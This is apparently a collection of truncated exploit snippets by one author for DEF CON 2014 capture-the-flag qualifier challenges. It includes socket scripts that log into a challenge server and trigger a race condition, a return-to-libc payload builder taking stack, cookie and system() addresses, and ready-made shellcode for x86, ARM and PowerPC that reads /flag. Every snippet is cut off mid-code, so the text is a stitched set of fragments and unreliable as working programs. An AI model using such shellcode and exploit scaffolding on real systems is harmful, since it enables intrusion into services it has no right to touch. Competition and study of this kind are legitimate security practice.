potetisensei

import time
import socket
from struct import pack, unpack

p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))
#p.connect(('localhost', 115))
print p.recv(4096)
p.send("PASS defcon2014\n")
print p.recv(4096)

potetisensei

import time
import socket

def cause_race():
    tmp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #tmp.connect(('localhost', 115))
    tmp.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))
    print tmp.recv(4096)
    tmp.send("PASS defcon2014\n")
    print tmp.recv(4096)

potetisensei

import time
import socket
from struct import *

def cause_race():
    stack = int(raw_input("stack: "),16)
    cookie = int(raw_input("cookie: "),16)
    system = int(raw_input("system: "),16)

    payload = ""

potetisensei

import time
import socket

x86 = '\xbc\x00\x08\x00\x42\xbd\x00\x0e\x00\x42\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xef\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x66\x6c\x61\x67\x00'
armel = ',\xd0\x9f\xe5\x01`\x8f\xe2\x16\xff/\xe1xF\x1c0\x00!\x05\'\x00\xdf\x03\'iF\xff"\x00\xdf\x02\x1c\x04\'\x01 \x00\xdf\x02 \x01\'\x00\xdf/flag\x00\x00\x00\x00\x08\x00B'
armeb = '\xe5\x9f\xd0,\xe2\x8f`\x01\xe1/\xff\x16Fx0\x1c!\x00\'\x05\xdf\x00\'\x03Fi"\xff\xdf\x00\x1c\x02\'\x04 \x01\xdf\x00\x1a\x00\'\x01\xdf\x00/flag\x00\x00\x00B\x00\x08\x00'
ppc = '8 B\x00:\x00\x00\x10|!\x8008!\x08\x00H\x00\x00\x05|h\x02\xa68c\x00D8\x80\x00\x008\x00\x00\x05D\x00\x00\x028\x00\x00\x038\x81\x00\x008\xa0\x00\xffD\x00\x00\x028\xa3\x00\x008\x00\x00\x048\x81\x00\x008`\x00\x01D\x00\x00\x028c\xff\xfd8\x00\x00\x01D\x00\x00\x02/flag\x00\x00\x00'

poly = ''
poly += '\x40\x3f\x04\x40'

potetisensei

from socket import *
from struct import pack

dic = {0: [0], 1: [1, 0, 0, 1, 1, 1], 2: [1, 1, 0, 1, 1, 1, 0], 3: [1, 1, 0, 0, 0, 0, 0, 0], 4: [1, 1, 1, 1, 0, 0, 0, 1, 1], 5: [1, 1, 1, 1, 1, 0, 1, 0, 1, 1], 6: [1, 1, 1, 1, 1, 0, 0, 1, 1], 7: [1, 0, 0, 1, 0, 0, 1], 8: [1, 1, 1, 0, 0, 0, 1, 1], 9: [1, 0, 1, 1, 1, 0, 0, 0, 0, 1], 10: [1, 0, 1, 1, 1, 1, 0, 1, 1], 11: [1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1], 12: [1, 1, 0, 0, 1, 0, 1, 1, 1], 13: [1, 0, 1, 0, 0, 1, 1, 0, 1], 14: [1, 1, 1, 0, 1, 0, 0, 1, 1], 15: [1, 1, 1, 0, 0, 0, 0, 1], 16: [1, 1, 1, 0, 0, 0, 1, 0], 17: [1, 1, 1, 0, 0, 0, 0, 0, 1, 1], 18: [1, 1, 1, 1, 1, 0, 1, 1, 1], 19: [1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1], 20: [1, 1, 1, 0, 1, 0, 0, 1, 0], 21: [1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0], 22: [1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1], 23: [1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0], 24: [1, 0, 1, 0, 0, 1, 1, 1, 1], 25: [1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1], 26: [1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1], 27: [1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1], 28: [1, 1, 0, 0, 0, 1, 1, 1, 1], 29: [1, 0, 1, 0

potetisensei

from struct import unpack

stack = []
base_addr = 0x605000
start_addr = 0x60e240

mem = open("hoge.bin").read()
dic = {}

def search_tree(addr, route):

potetisensei

import time
import socket

def calc(sum, buf, i, j):
 ret = ((ord(buf[i/8 + j]) << (i%8))%0x100000000)|((ord(buf[i/8 + j +1]) >> (8 - i%8))%0x100000000)
 ret %= 0x100
 sum |= (ret << (24-j*8));
 return sum;

mem = open("hoge.bin").read()

potetisensei

unsigned char[] randpad = "\xfc\x8a\x45\x51\x67\x8c\xa9\xc0\xb0\xfd\xf7\x6f\xb8\x50\xf1\x2f\x7a\x62\x66\xe3\xd3\xc3\x6e\xbe\x37\x39\x33\x68\x3b\xc6\x76\x1e\xae\xaa\x83\xed\x57\x1a\xf1\x29\xe6\xc1\xb9\x9e\xdd\xa2\x86\x2c\x1a\xdc\x49\x9d\x82\x01\xd5\x3a\xb5\xd3\x33\x12\x1c\xce\x94\x2b\xc3\xb0\x6c\xbc\x46\x73\x39\x5e\x7b\xc7\xb4\x9e\x56\xf0\xad\x72\x5e\x83\xc7\x05\xc5\xe9\x2e\x85\x88\x79\x94\xf7\xe7\xac\x34\xfe\x5c\xce\x2e\x13\xf1\xcc\x8e\xea\x60\x83\xbe\xdc\x4a\xbb\xe8\xdf\x65\x20\xef\x44\xad\xfa\xd6\x12\x83\xd5\xdc\x94\xad\x1f\xe1\x5f\xe8\xfa\x7e\x3f\xda\x61\xe3\xdf\xab\x5b\x4f\x2a\x6c\x24\x82\xad\x17\x89\xba\x29\xb9\x46\x34\x74\x64\xf7\x45\x22\x8d\xaf\x33\xd6\x52\xb5\xde\x10\xe4\x53\x5d\x96\xb7\xe2\x2e\xcb\xb1\x75\xbc\x74\x5a\x21\x29\x8c\x57\xb3\x16\x5e\xc7\xc8\xc2\x26\x35\x48\x2d\x3c\x60\x7b\x5d\xdd\xa8\x29\x61\x19\xd0\xef\xee\x6d\x04\xdd\x20\x51\x95\x1d\x01\xe1\xda\xda\xb4\xa5\x46\xd9\xcb\xaf\x56\xb5\x20\x05\xd0\x6b\xd2\x22\x21\x2f\x2d\xd3\x73\x97\x56\x89\xae\xac\x02\xb6\x35\xd2\x14\x87\xc6\x49\xdf\x0e\x17\

potetisensei

push eax ; arg2
push edx ; arg1
call esi

potetisensei

import os
from commands import getoutput

stages = []
for i in range(0, 10):
    stages.append("stage0{num}".format(num=i))
for i in range(10, 16):
    stages.append("stage{num}".format(num=i))

print stages